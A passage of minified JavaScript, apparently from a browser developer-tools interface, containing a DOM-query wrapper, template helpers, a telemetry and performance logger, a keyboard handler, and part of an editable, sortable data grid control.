Element))throw"$mNode.scrollLeft(value?: number): number - can only be called on Elements";var t=this._node;if(void 0===e)return t.scrollLeft;t.scrollLeft=e;return e}data(e,t){var n=this._node[o.DATA_KEY];n||(this._node[o.DATA_KEY]=n={});if(void 0===e)return n;if(void 0===t)return n[e];n[e]=t;return n}attr(e){if(!(this._node instanceof Element))throw"$mNode.attr(attributeName: string): string - can only be called on Elements";var t=this._node,n=t[e];void 0===n&&(n=t.getAttribute(e));return null===n?void 0:n}removeAttr(e){if(!(this._node instanceof Element))throw"$mNode.removeAttr(attributeName: string): string - can only be called on Elements";this._node.removeAttribute(e)}matchAttr(e,t){if(!(this._node instanceof Element))throw"$mNode.matchAttr(attributeName: string, value: string) - can only be called on Elements";return this._node.getAttribute(e)===t}setAttr(e,t){if(!(this._node instanceof Element))throw"$mNode.setAttr(attributeName: string, setValue: any): void - can only be called on Elements";this._node.setAttribute(e,t)}parent(e){if(this._node instanceof HTMLElement){var t=this._node.parentNode;return void 0===e||t.classList.contains(e)?new o(t):void 0}}parents(e){if(!(this._node instanceof HTMLElement))throw"$mNode.parents(s: string): IQueryNode - can only be called on HTML elements";for(var t=this._node,n=[];t.parentNode instanceof HTMLElement;){(t=t.parentNode).classList.contains(e)&&n.push(new o(t))}return n}text(e){if(!(this._node instanceof HTMLElement))throw"$mNode.text(s?: string): string - can only be called on HTML elements";var t=this._node;if(void 0===e)return t.innerText;t.innerText=e;return e}html(e){if(!(this._node instanceof HTMLElement))throw"$mNode.html(htmlString?: string): string - can only be called on HTML elements";var t=this._node;if(void 0===e)return t.innerHTML;t.innerHTML=e;return e}remove(){this._node.parentNode&&this._node.parentNode.removeChild(this._node)}prepend(e){this._node.insertBefore(e,this._node.firstChild)}append(e){this._node.appendChild(e)}replaceWith(e){var t=this._node.parentNode;if(t){var n=this._node.nextSibling;t.removeChild(this._node);var o=e._node;n?t.insertBefore(o,n):t.appendChild(o)}}select(){if(!(this._node instanceof HTMLElement))throw"$mNode.select() - can only be called on HTML elements";this._node.select()}val(e){if(!(this._node instanceof HTMLInputElement))throw"$mNode.val(): string - can only be called on HTMLInput elements";var t=this._node;if(void 0===e){var n=t.value;return"string"==typeof n?n.replace(/\r/g,""):void 0===n||null===n?"":n}t.value=e}closest(e){for(var t=this._node;t;){if(t.classList)for(var n=0;n<e.length;n++)if(t.classList.contains(e[n]))return new o(t);t=t.parentNode}}css(e,t){if(!e||"object"!=typeof e){r=e;var n=this._node;void 0!==t&&(n.style[r]=t);return n.style?n.style[r]:void 0}var o=e;for(var r in o)this.css(r,o[r])}click(){if(!(this._node instanceof HTMLElement))throw"$mNode.click(): IQueryNode - can only be called on HTML elements";this._node.click();return this}changeEventBinding(e,t,n,o,r){var i,a,s=this._node,l="on"+n,c=s[l],u=c&&c.boundFuncList?c.boundFuncList:[];e?u.push(o):o?(a=u.indexOf(o))>=0&&u.splice(a,1):u=[];if(u.length){void 0===t&&(t=s);(i=(e=>{var n,o=!0;for(n=0;n<u.length;n++){var i=u[n].call(t,e,r);if(!i&&"boolean"==typeof i){e.preventDefault();e.stopPropagation();o=!1}}return o})).boundFuncList=u}s[l]=i;return this}triggerEvent(e,t){var n=this._node,o=n[e];o&&o.call(n,{},t);return this}changeSpecialBinding(e,t,n,r,i){this._node[o.BINDING_KEY+n]=e?r:void 0;return this}triggerSpecial(e,t){var n=this._node,r=n[o.BINDING_KEY+e];r&&r.call(n,{},t);return this}position(){var e=this._node;return{top:e.offsetTop,left:e.offsetLeft}}height(){var e=this._node,t=e.getBoundingClientRect().height,n=window.getComputedStyle(e);t-=parseInt(n.paddingTop||"",10);t-=parseInt(n.paddingBottom||"",10);t-=parseInt(n.borderTopWidth||"",10);return t-=parseInt(n.borderBottomWidth||"",10)}outerHeight(e){var t=this._node,n=t.getBoundingClientRect().height;if(e){var o=window.getComputedStyle(t);n+=parseInt(o.marginTop||"",10);n+=parseInt(o.marginBottom||"",10)}return n}width(){var e=this._node,t=e.getBoundingClientRect().width,n=window.getComputedStyle(e);t-=parseInt(n.paddingLeft||"",10);t-=parseInt(n.paddingRight||"",10);t-=parseInt(n.borderLeftWidth||"",10);return t-=parseInt(n.borderRightWidth||"",10)}outerWidth(e){var t=this._node,n=t.getBoundingClientRect().width;if(e){var o=window.getComputedStyle(t);n+=parseInt(o.marginLeft||"",10);n+=parseInt(o.marginRight||"",10)}return n}}o.BINDING_KEY="$BPT$Binding$";o.DATA_KEY="$BPT$QueryData$";const r="Invalid class selector";class i{constructor(e,t){this.selector=e;if(null===t)this._array=[];else if(void 0!==t.length){this._array=[];for(var n=t,r=n.length,i=0;i<r;i++)this._array.push(new o(n[i]))}else this._array=[new o(t)]}get length(){return this._array.length}is(e){if(":hidden"===e){for(var t=0;t<this.length;t++)if(!this._array[t].is(":hidden"))return!1;return!0}if(":visible"===e)return!this.is(":hidden");throw"$mNode.is(s: string) : boolean - can only be called with :hidden or :visible"}scrollTop(){if(0!==this.length)return this._array[0].scrollTop()}scrollLeft(){if(0!==this.length)return this._array[0].scrollLeft()}data(e,t){if(0!==this.length)return this._array[0].data(e,t)}attr(e,t){if(0!==this.length){if(void 0!==t){for(var n=0;n<this.length;n++)this._array[n].setAttr(e,t);return this}return this._array[0].attr(e)}}removeAttr(e){for(var t=0;t<this.length;t++)this._array[t].removeAttr(e);return this}matchAttr(e,t){for(var n=new i(this.selector+" → matchAttr",null),o=this.length,r=0;r<o;r++){var a=this._array[r];a.matchAttr(e,t)&&n.push(a)}return n}addClass(e){for(var t=0;t<this.length;t++)this._array[t].addClass(e);return this}removeClass(e){for(var t=this.length,n=0;n<t;n++)this._array[n].removeClass(e);return this}hasClass(e){for(var t=0;t<this.length;t++)if(this._array[t].hasClass(e))return!0;return!1}hide(){for(var e=this.length,t=0;t<e;t++)this._array[t].hide();return this}show(){for(var e=this.length,t=0;t<e;t++)this._array[t].show();return this}placeholder(e){for(var t=this.length,n=0;n<t;n++)this._array[n].placeholder(e);return this}focus(){this.length>=1&&this._array[0].focus();return this}text(e){if(void 0===e)return this.length>0?this._array[0].text():void 0;for(var t=this.length,n=0;n<t;n++)this._array[n].text(e);return this}html(e){if(void 0===e)return this.length>0?this._array[0].html():void 0;for(var t=this.length,n=0;n<t;n++)this._array[n].html(e);return this}each(e){for(var t=this.length,n=0;n<t;n++)e.call(this._array[n].get(),n,this._array[n].get())}parent(e){if(void 0!==e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1)}for(var t=new i(this.selector+" → parent",null),n=this.length,o=0;o<n;o++){var a=this._array[o].parent(e);a&&t.push(a)}return t}parents(e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1);for(var t=new i(this.selector+" → parents",null),n=this.length,o=0;o<n;o++){var a=this._array[o].parents(e);if(a&&a.length)for(var s=0;s<a.length;s++)t.push(a[s])}return t}children(e){if(void 0!==e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1)}for(var t=new i(this.selector+" → children",null),n=this.length,a=0;a<n;a++)for(var s=this._array[a].get().firstChild;s;){if(1===s.nodeType){var l=new o(s);(void 0===e||l.hasClass(e))&&t.push(l)}s=s.nextSibling}return t}siblings(e){if(void 0!==e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1)}for(var t=new i(this.selector+" → siblings",null),n=this.length,a=0;a<n;a++)for(var s=this._array[a].get(),l=this._array[a].get().parentNode,c=l?l.firstChild:null;c;){if(1===c.nodeType&&c!==s){var u=new o(c);(void 0===e||u.hasClass(e))&&t.push(u)}c=c.nextSibling}return t}next(e){if(void 0!==e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1)}for(var t=new i(this.selector+" → next",null),n=this.length,a=0;a<n;a++)for(var s=this._array[a].get().nextSibling;s;){var l=new o(s);if(void 0===e||l.hasClass(e)){t.push(l);return t}s=s.nextSibling}return t}prev(e){if(void 0!==e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1)}for(var t=new i(this.selector+" → prev",null),n=this.length,a=0;a<n;a++)for(var s=this._array[a].get().previousSibling;s;){var l=new o(s);if(void 0===e||l.hasClass(e)){t.push(l);return t}s=s.previousSibling}return t}appendTo(e){if(1===e.length){var t=this.length,n=e.get(0);if(n)for(var o=0;o<t;o++){let e=this.get(o);e&&n.appendChild(e)}}return this}after(e){if(e.length>0)for(var t=this.length,n=0;n<t;n++){var o=this.get(n);if(o){var r=o.parentNode;if(r)for(var i=0;i<e.length;i++){const t=e.get(i);t&&(o.nextSibling?r.insertBefore(t,o.nextSibling):r.appendChild(t))}}}return this}not(e){if(!i.isClassSelector(e))throw new Error(r);e=e.substr(1);for(var t=new i(this.selector+" → not",null),n=this.length,o=0;o<n;o++){var a=this._array[o];a.hasClass(e)||t.push(a)}return t}slice(e,t){var n=new i(this.selector+" → slice",null),o=this.length;(void 0===t||t>o)&&(t=o);for(var r=e;r<t;r++){var a=this._array[r];n.push(a)}return n}closest(e){for(var t=e.split(/[ ,]+/),n=0;n<t.length;n++){if(!i.isClassSelector(t[n]))throw new Error(r);t[n]=t[n].substr(1)}for(var o=new i(this.selector+" → closest",null),a=this.length,s=0;s<a;s++){var l=this._array[s].closest(t);l&&o.push(l)}return o}find(e){for(var t=new i(this.selector+" → find",null),n=this.length,r=0;r<n;r++){var a=this._array[r].get().querySelectorAll(e);if(a)for(var s=0,l=a.length;s<l;s++)t.push(new o(a[s]))}return t}remove(){for(var e=new i(this.selector+" → remove",null),t=this.length,n=0;n<t;n++)this._array[n].remove();return e}prepend(e){if(e.length>0)for(var t=this.length,n=0;n<t;n++)for(var o=e.length-1;o>=0;o--)this._array[n].prepend(e._array[o].get());return this}append(e){if(e.length>0)for(var t=this.length,n=0;n<t;n++)for(var o=0;o<e.length;o++)this._array[n].append(e._array[o].get());return this}appendText(e){for(var t=this.length,n=0;n<t;n++){this._array[n].append(document.createTextNode(e))}return this}replaceWith(e){var t=this.length;if(t>0&&1===e.length)for(var n=0;n<t;n++)this._array[n].replaceWith(e._array[0]);return this}select(){for(var e=this.length,t=0;t<e;t++)this._array[t].select();return this}val(e){var t=this.length;if(void 0!==e){for(var n=0;n<t;n++)this._array[n].val(e);return this}if(0!==t)return this._array[0].val(e)}css(e,t){var n=this.length;if(void 0!==t){for(var o=0;o<n;o++)this._array[o].css(e,t);return this}if(0!==n)return this._array[0].css(e)}click(){for(var e=this.length,t=0;t<e;t++)this._array[t].click();return this}bindTarget(e,t,n,o){return this.changeBinding(e,!0,t,n,o)}bind(e,t,n){return this.changeBinding(void 0,!0,e,t,n)}unbind(e,t){return this.changeBinding(void 0,!1,e,t)}trigger(e,t){for(var n=e.split(" "),o=this.length,r=0;r<o;r++)for(var a=0;a<n.length;a++){var s=n[a];i.DomEvents.indexOf(s)>=0?this._array[r].triggerEvent(s,t):this._array[r].triggerSpecial(s,t)}return this}get(e){e<0&&(e+=this.length);return e>=this.length||e<0?null:this._array[e].get()}first(){var e=new i(this.selector+" → first",null);this.length>0&&e.push(this._array[0]);return e}last(){var e=new i(this.selector+" → last",null);this.length>0&&e.push(this._array[this.length-1]);return e}position(){if(this.length>0)return this._array[0].position()}height(){if(this.length>0)return this._array[0].height()}outerHeight(e){if(this.length>0)return this._array[0].outerHeight(e)}width(){if(this.length>0)return this._array[0].width()}outerWidth(e){if(this.length>0)return this._array[0].outerWidth(e)}static isClassSelector(e){return"."===e[0]&&(-1===e.indexOf(",")&&(-1===e.indexOf("#")&&(-1===e.indexOf(">")&&(-1===e.indexOf(" ")&&-1===e.indexOf("[")))))}push(e){this._array.push(e)}changeBinding(e,t,n,o,r){for(var a=n.split(" "),s=this.length,l=0;l<s;l++)for(var c=0;c<a.length;c++){var u=a[c];i.DomEvents.indexOf(u)>=0?this._array[l].changeEventBinding(t,e,u,o,r):this._array[l].changeSpecialBinding(t,e,u,o,r)}return this}}i.DomEvents=["click","dblclick","mousedown","mouseup","mousemove","mouseover","mouseout","contextmenu","focus","blur","focusin","focusout","keydown","keyup","keypress","change","reset","select","submit"];n.d(t,"a",function(){return a});function a(e){if("string"==typeof e){var t,n=e.match(/<(\w+?)>/);if(n)return new i("",document.createElement(n[1]));t=document.querySelectorAll(e);return new i(e,t)}return new i("",e)}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(47);class r extends o.a{constructor(e,t){super();this._idPostfix=r.GlobalIdPostfix++;e&&this.setTemplateFromName(e,t)}setTemplateFromName(e,t){if(t){var n=t.getTemplateString(e);this.setTemplateFromHTML(n)}else{var o=this.getTemplateElementCopy(e);this.adjustElementIds(o);this.rootElement=o}}setTemplateFromHTML(e){var t=this.getTemplateElementFromHTML(e);this.adjustElementIds(t);this.rootElement=t}findElement(e){var t=e+this._idPostfix;return this.forAllSelfAndDescendants(this.rootElement,function(e){return!e.id||e.id!==t})}findElementsByClassName(e){var t=[];this.forAllSelfAndDescendants(this.rootElement,n=>{n.classList&&n.classList.contains(e)&&t.push(n);return!0});return t}getTemplateElementCopy(e){var t=document.getElementById(e);if(!t)throw new Error("Couldn't find the template with name: "+e);if("script"!==t.tagName.toLowerCase())throw new Error("Expecting the template container to be a script element.");return this.getTemplateElementFromHTML(t.innerHTML)}getTemplateElementFromHTML(e){var t=this.getTemplateRootElement();t.innerHTML=e;1===t.childElementCount&&(t=t.firstElementChild);return t}getTemplateRootElement(){var e=document.createElement("div");e.style.width=e.style.height="100%";return e}adjustElementIds(e){var t=this._idPostfix;this.forAllSelfAndDescendants(e,function(e){e.id&&(e.id=e.id+t);return!0})}forAllSelfAndDescendants(e,t){var n=null;if(t(e)){if(e.children)for(var o=e.children,r=o.length,i=0;i<r&&!(n=this.forAllSelfAndDescendants(o[i],t));i++);}else n=e;return n}}r.GlobalIdPostfix=1},function(e,t,n){"use strict";n.r(t);n.d(t,"markToolReady",function(){return a});var o=n(10),r=n(140);let i=!1;function a(e){if(!i){i=!0;r.markToolReady(e);Object(o.g)().call("ms:host","toolready",[e])}}},function(e,t,n){"use strict";n.d(t,"a",function(){return u});var o=n(10),r=n(144),i=n(2),a=n(5),s=n(9);const l=new Map,c=!!a.b.utilities&&"1"===a.b.utilities.getEnvironmentVariable("F12PERFHUD");class u{constructor(e){this._toolName=e;this._previousCommandName="";this._previousCommandTime=Date.now();this._isUsingWinRT=a.b.createPropertySet}log(e,t,n=2,o=i.b.Measure){if(1!==n){if(this._isUsingWinRT){const e=a.b.createPropertySet();for(const n in t)t.hasOwnProperty(n)&&e.insert(n,t[n]);t=e}switch(o){case i.b.Telemetry:r.d(e,t);break;case i.b.CriticalData:r.b(e,t);break;default:r.c(e,t)}}}logExecuteCommand(e,t,n=2,o=i.b.Measure,r){if(t!==i.c.Internal&&t!==i.c.Test&&(this._previousCommandName!==e||Date.now()-this._previousCommandTime>1e3)){let a={CommandName:e,ToolName:this._toolName,TriggerType:i.c[t]};r&&(a=Object.assign({},r,a));this.log("ExecuteCommand",a,n,o);this._previousCommandName=e;this._previousCommandTime=Date.now()}}logPerformance({id:e,key:t,isUserPerceived:n=!1,message:o}){const r=performance.now(),i="number"==typeof e,l=i?s.a[e]:e,c=-1!==l.indexOf("_Start")?l.substring(0,l.indexOf("_Start")):l.substring(0,l.indexOf("_Stop"));performance.mark(l);i&&(t?a.b.traceWriter.raiseEventWithKey(e,t,o):a.b.traceWriter.raiseEvent(e,o));0!==c.length&&this.logEvent(c,r,t,n,o)}logPerformanceNative(e,t){const n=s.a[e],o=-1!==n.indexOf("_Start")?n.substring(0,n.indexOf("_Start")):n.substring(0,n.indexOf("_Stop"));this.logEvent(o,t)}logEvent(e,t,n,o,r){const a=n?`${e}_${String(n)}`:e;if(l.has(a)){const n=l.get(a),{startTime:r,message:s}=n;if(!r)return;const c=t-r,u=c.toFixed(3),d=s?{duration:u,eventName:e,startTime:r,endTime:t,message:s}:{duration:u,eventName:e,startTime:r,endTime:t};this.log("F12Perf",d,2,i.b.CriticalData);this.logToPerfHud(e,c);if(o){const t=parent.__PERCEIVED_LAUNCH_TIMESTAMP,n=Date.now(),o=n-t;d.eventName=`Perceived_${e}`;d.startTime=t;d.endTime=n;d.duration=o.toFixed(3);this.log("F12Perf",d,2,i.b.CriticalData);this.logToPerfHud(d.eventName,o)}l.delete(a)}else l.set(a,{startTime:t,message:r})}logToPerfHud(e,t){c&&t>=0&&Object(o.g)().broadcast("perfEvent",{eventName:e,duration:t})}}},function(e,t,n){"use strict";n.d(t,"a",function(){return h});var o=n(50),r=n(91),i=n(18);const a=new Map([[5,i.a],[6,i.b],[1,i.c],[3,i.d],[4,i.e],[2,i.f],[0,i.i],[7,i.j]]);let s,l,c=null,u=[],d=!1;async function h(e,t){if(d)throw new Error("Global keyboard handler already registered.");d=!0;Object(r.initializeServices)();c=o.c.get("HostKeyboardService");u=await c.getKeyboardRegistrations();s=t;l=e;document.addEventListener("keydown",p,!0);document.addEventListener("keydown",m)}function p(e){s&&s(e)}function m(e){e.target instanceof Element&&e.target.matches("select:focus")||l&&l(e)||u.some(t=>{if(t.key===e.keyCode&&a.get(t.chord)(e)){c.notifyKeyPressed(e.keyCode,t.chord);e.preventDefault();e.stopPropagation();e.stopImmediatePropagation();return!0}})}},function(e,t,n){"use strict";var o=n(0),r=n(4),i=n(47),a=n(18);class s{constructor(e,t,n,o,r,i){this._dataIndex=e;this._columnIndex=t;this._ignoreCommitCallback=!1;this._gridControl=o;this._options=r;this._editElement=n;this._textValue=n.hasAttribute("grid-edit-value")?n.getAttribute("grid-edit-value")||"":n.innerText;this._cachedInnerHTML=n.innerHTML;this._inputElement=i||document.createElement("input");this._inputElement.value=this._textValue;this._inputElement.classList.add("grid-edit-box");this._keyboardHandler=this.keyboardHandler.bind(this);this._inputElement.addEventListener("keydown",this._keyboardHandler);this._focusHandler=this.focusHandler.bind(this);this._inputElement.addEventListener("focusout",this._focusHandler)}get inputElement(){return this._inputElement}dismiss(){this._editElement.innerHTML=this._cachedInnerHTML;this._editElement.focus();this.notifyPostEdit()}notifyPostEdit(){this._inputElement.removeEventListener("keydown",this._keyboardHandler);this._inputElement.removeEventListener("focusout",this._focusHandler);void 0!==this._options.postEditCellCallback&&this._options.postEditCellCallback(this._dataIndex,this._columnIndex)}keyboardHandler(e){var t=this._gridControl.getRowInfo(this._dataIndex),n=this._gridControl.getColumns();if(13===e.keyCode){this.commitValue(e);e.preventDefault();e.stopPropagation()}else if(27===e.keyCode){this.dismiss();e.stopPropagation();e.preventDefault()}else if(9===e.keyCode){if(this._options.commitOnTab)this.commitValue(e);else if(t){var o=t.row.children;this._ignoreCommitCallback=!0;this._editElement.innerHTML=this._cachedInnerHTML;this.notifyPostEdit();var r=this._columnIndex;if(e.shiftKey)for(;r>0;){if((i=o[--r]).classList.contains("grid-cell-editable")){this._gridControl.createEditBox(this._dataIndex,r,i);break}}else{for(;r<n.length-1;){var i;if((i=o[++r]).classList.contains("grid-cell-editable")){this._gridControl.createEditBox(this._dataIndex,r,i);break}}if(n.length>0&&r===n.length-1){const e=o[0].parentElement;e&&e.focus()}}e.preventDefault();e.stopPropagation()}}else if(38===e.keyCode||40===e.keyCode||33===e.keyCode||34===e.keyCode);else{e.stopPropagation();Object(a.l)(e)}}focusHandler(e){this.commitValue(e)}commitValue(e){var t=this._inputElement.value;this._editElement.innerText=this._ignoreCommitCallback?this._textValue:t;this._options.commitEditCellCallback&&!this._ignoreCommitCallback&&this._options.commitEditCellCallback(t,this._dataIndex,this._columnIndex);this.notifyPostEdit();e.stopPropagation();e.preventDefault();return!1}}n.d(t,"a",function(){return c});n.d(t,"g",function(){return u});n.d(t,"c",function(){return p});n.d(t,"e",function(){return m});n.d(t,"f",function(){return g});n.d(t,"d",function(){return f});n.d(t,"b",function(){return _});n.d(t,"h",function(){return v});class l{static stableReverse(e,t){for(var n=[],o=e.length-1;o>=0;o--){for(var r=o-1;r>=0&&0===t(e[r],e[o]);r--);for(var i=r+1;i<=o;i++)n.push(e[i]);o=r+1}for(o=0;o<n.length;o++)e[o]=n[o]}static defaultComparer(e,t,n,o){var r=n[e.index],i=o[e.index];return void 0===r||null===r?void 0===i||null===i?0:-1:void 0===i||null===i?1:r.toString().toLocaleUpperCase().localeCompare(i.toString().toLocaleUpperCase())}static sortComparer(e,t,n,o){for(var r=0;r<e.length;r++){var i=e[r],a=t[r],s=(a.comparer||l.defaultComparer)(a,i.order,n,o);if(0!==s)return"desc"===i.order?-s:s}return 0}}class c{constructor(e,t,n,o,r,i,a,s){this.index=e;this.text=t;this.tooltip=n;this.width=o;this.canSortBy=r;this.getColumnValue=i;this.getCellCSSClass=a;this.comparer=s;this.hasHTMLContent=!1;this.hasMixedContent=!1}get percentWidth(){return this._percentWidth}set percentWidth(e){r.a.isTrue(0<=e&&e<=1);this._percentWidth=e}}c.MIN_RESIZE_WIDTH=60;class u{constructor(e,t){this.index=e;this.order=t}}class d{constructor(e,t){this.data=e;this.expandState=t;this.children=[]}}class h{constructor(e,t){this.icon=e;this.checkbox=t}}class p{constructor(e,t,n,o,r,i){this.childDataCallback=e;this.columns=t;this.sortOrders=n;this.allowMultiSelect=!1;this.allowSortOnMultiColumns=!1;this.asyncInit=!0;this.autoSort=!0;this.coreCssClass="grid";this.cssClass="";this.expandStates=[];this.extendViewportBy=3;this.gutter=new h;this.header=!1;this.height="100%";this.initialSelection=!1;this.keepSelection=!1;this.payloadSize=200;this.source=null;this.preEditCellCallback=o;this.commitEditCellCallback=r;this.postEditCellCallback=i;this.disableRightClickSelection=!0;this.isGridEnabled=!0;this.prerenderCallback=null;this.onRowToggleCallback=null;this.keyboardEventHandler=null;this.commitOnTab=!1;this.alwaysForceSort=!1}}class m{constructor(e,t){this.rowIndex=e;this.dataIndex=t}}class g{constructor(e,t){this.width=e;this.height=t}}class f{constructor(e,t){this.start=e;this.end=t}}class _{constructor(e,t,n,o){this.active=e;this.index=t;this.originalWidth=n;this.origin=o}}class v extends i.a{constructor(e,t){super(e);this._options=t;this._canvas=null;this._contentSpacer=null;this._element=null;this._gutter=null;this._gutterHeader=null;this._header=null;this._headerCanvas=null;this._dataSource=[];this._rows={};this._columns=[];this._expandStates=null;this._expandedCount=0;this._sortOrder=[];this._rowInfoMap={};this._selectedRows=null;this._selectionStart=-1;this._selectionCount=0;this._selectedIndex=-1;this._active=!1;this._activeAriaId=null;this._getChildDataCallback=null;this._canvasHeight=300;this._canvasWidth=300;this._contentSize=null;this._measurements={};this._count=0;this._indentIndex=0;this._indentLevels=null;this._visibleRange=[];this._columnSizing=null;this._sizingElement=null;this._copyInProgress=!1;this._resetScroll=!1;this._ignoreScroll=!1;this._scrollTop=0;this._scrollLeft=0;this._cancelable=null;this._onAriaExpandedModifiedHandler=this.onAriaExpandedModified.bind(this);this.initialize()}get isVerticalScrollbarVisible(){return this._canvasHeight<this._canvas.scrollHeight}initialize(){this._element=document.createElement("div");this._element.className=this._options.coreCssClass;this._element.style.height=this._options.height;this.rootElement.appendChild(this._element);this._buildDom();this._contentSize=new g(300,400);this._takeMeasurements();this._getChildDataCallback=this._options.childDataCallback||null;this._options.asyncInit?window.setTimeout(()=>{this._attachEvents()},10):this._attachEvents();this.initializeDataSource()}findClosestElement(e,t){for(var n=this._element.parentNode,o=e;o&&o!==n;){if(o.msMatchesSelector(t))return o;o=o.parentNode}return o}fireCustomEvent(e,t,n){var o=document.createEvent("Event");o.initEvent(t,!0,!0);o.customData=n;e.dispatchEvent(o)}onAriaExpandedModified(e){if("aria-expanded"===e.attrName){var t=this.getRowInfoFromEvent(e,".grid-row");t&&this.tryToggle("true"===e.newValue,!1,t.dataIndex)}}createElementWithClass(e,t){var n=document.createElement(e);t&&(n.className=t);return n}static expand(e){var t=[];if(e.length>0){var n=[],o={level:1,origCount:e.length,remainingCount:e.length};n.push(o);for(var r=0;r<e.length;){t.push(o.level);o.remainingCount--;for(;0===o.remainingCount;){n.pop();if(0===n.length){if(r===e.length-1)break;throw new Error("invalid descendant counts, nesting not possible")}var i=n[n.length-1];i.remainingCount-=o.origCount;if((o=i).remainingCount<0)throw new Error("invalid descendant counts, cannot convert to indentation levels")}var a=Math.abs(e[r]);if(a>0){var s={level:t[t.length-1]+1,origCount:a,remainingCount:a};n.push(s);o=s}r++}if(n.length>0)throw new Error("invalid descendant counts, more input expected")}return t}static addItemsToTree(e,t,n,o,r){for(var i=Math.min(n+o,e.length),a=n;a<i;a++){var s=new d(e[a],t[a]),l=Math.abs(s.expandState);if(l>0){v.addItemsToTree(e,t,a+1,l,s);a+=l}r.children.push(s)}}static walkTree(e,t){if(t){t(e);var n=0,o=e.children;if(o&&(n=o.length))for(var r=0;r<n;r++){var i=o[r];v.walkTree(i,t)}}}static makeElementUnselectable(e){e.setAttribute("unselectable","on");for(var t=e.querySelectorAll("*"),n=0;n<t.length;n++){var o=t[n];switch(o.tagName){case"FRAME":case"IFRAME":case"TEXTAREA":case"INPUT":case"SELECT":break;default:o.setAttribute("unselectable","on")}}}static toDecimalLocaleString(e,t,n){var o,r,i,a=function(e,t,n){for(var o=e.length;o<t;o++)e=n?"0"+e:e+"0";return e},s=e.toString(),l="";r=n?n.numberFormat:void 0;s=(i=s.split(/e/i))[0];o=i.length>1?parseInt(i[1],10):0;s=(i=s.split("."))[0];l=i.length>1?i[1]:"";if(o>0){s+=(l=a(l,o,!1)).slice(0,o);l=l.substr(o)}else if(o<0){l=(s=a(s,(o=-o)+1,!0)).slice(-o,s.length)+l;s=s.slice(0,-o)}l.length>0&&(l=r.NumberDecimalSeparator+l);if(!0===t){for(var c=r.NumberGroupSizes,u=r.NumberGroupSeparator,d=c[0],h=1,p=s.length-1,m="";p>=0;){if(0===d||d>p)return m.length>0?s.slice(0,p+1)+u+m+l:s.slice(0,p+1)+l;m=m.length>0?s.slice(p-d+1,p+1)+u+m:s.slice(p-d+1,p+1);p-=d;if(h<c.length){d=c[h];h++}}return s.slice(0,p+1)+u+m+l}return s+l}static convertValueToDisplayString(e,t){return null!=e?"string"==typeof e?e:e?e.localeFormat(t||"G"):"number"==typeof e?t?e.toLocaleString(t):v.toDecimalLocaleString(e):"boolean"==typeof e?e?"True":"False":e.toString():""}_getId(){return v.TYPE_NAME}getSelectionCount(){return this._selectionCount}set expandedCount(e){this._expandedCount=e;this._options.expandedCountChangedCallback&&this._options.expandedCountChangedCallback(this._expandedCount)}getExpandedCount(){return this._expandedCount}getElement(){return this._element}_buildDom(){var e=document.createDocumentFragment(),t=this._options.gutter,n=t&&(t.icon||t.checkbox);this._canvas=document.createElement("div");this._canvas.className="grid-canvas";this._canvas.setAttribute("role","treegrid");this._contentSpacer=document.createElement("div");this._contentSpacer.className="grid-content-spacer";this._canvas.appendChild(this._contentSpacer);if(this._options.header){this._element.classList.add("has-header");this._header=document.createElement("div");this._header.className="grid-header";this._headerCanvas=document.createElement("div");this._headerCanvas.className="grid-header-canvas";this._header.appendChild(this._headerCanvas);e.appendChild(this._header)}if(n){this._element.classList.add("has-gutter");this._gutter=document.createElement("div");this._gutter.className="grid-gutter";this._canvas.appendChild(this._gutter);if(this._header){this._gutterHeader=document.createElement("div");this._gutterHeader.className="grid-gutter-header";this._header.appendChild(this._gutterHeader)}}e.appendChild(this._canvas);this._element.appendChild(e)}_attachEvents(){window.addEventListener("resize",()=>this._onContainerResize());this._element.addEventListener("mousedown",e=>this._onContainerMouseDown(e));this._canvas.addEventListener("keydown",e=>this._onKeyDown(e));this._canvas.addEventListener("mousedown",e=>this._onRowMouseDown(e));this._canvas.addEventListener("dblclick",e=>this.onEditCell(e));this._canvas.addEventListener("scroll",()=>this._onCanvasScroll());this._canvas.addEventListener("selectstart",function(){return!1});if(this._header){this._header.addEventListener("mousedown",e=>this._onHeaderMouseDown(e));this._header.addEventListener("mouseup",()=>this._onHeaderMouseUp());this._header.addEventListener("click",e=>this._onHeaderClick(e));this._header.addEventListener("dblclick",e=>this._onHeaderDblClick(e))}if(this._gutter){this._gutter.addEventListener("click",e=>this._onGutterClick(e));this._gutter.addEventListener("mouseover",e=>{var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.add("grid-gutter-row-hover")});this._gutter.addEventListener("mouseout",e=>{var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.remove("grid-gutter-row-hover")})}}_mergeExpandStates(e,t,n){var o=n.length-1;t.splice(e+1,1);for(var r=0;r<=o;r++)t.splice(e+r+1,0,n[r]);var i=0;for(r=e;r>=0;r--){var a=t[r];if(Math.abs(a)>i){t[r]=a<0?a-o:a+o;i=0}else i++}}_takeMeasurements(){var e=this._options.coreCssClass;this._options.cssClass&&(e+=" "+this._options.cssClass);var t=this.createElementWithClass("div",e);t.style.position="absolute";t.style.left="-5000px";t.style.top="-5000px";t.style.width="1000px";t.style.height="500px";document.body.appendChild(t);var n=this.createElementWithClass("div","grid-row grid-row-normal");t.appendChild(n);var o=this.createElementWithClass("div","grid-cell");o.style.width="100px";o.innerText="1";n.appendChild(o);this._measurements.rowHeight=n.offsetHeight;this._measurements.cellOffset=o.offsetWidth-100;var r=this.createElementWithClass("div");r.style.overflow="hidden";r.style.width="1em";r.style.height="1ex";o.appendChild(r);this._measurements.unitEx=r.offsetHeight;var i=this.createElementWithClass("div","grid-gutter");i.appendChild(this.createElementWithClass("div","grid-gutter-row grid-gutter-row-selected"));t.appendChild(i);this._gutter?this._measurements.gutterWidth=i.clientWidth:this._measurements.gutterWidth=0;document.body.removeChild(t)}initializeDataSource(){if(this._resetScroll){this._ignoreScroll=!0;try{var 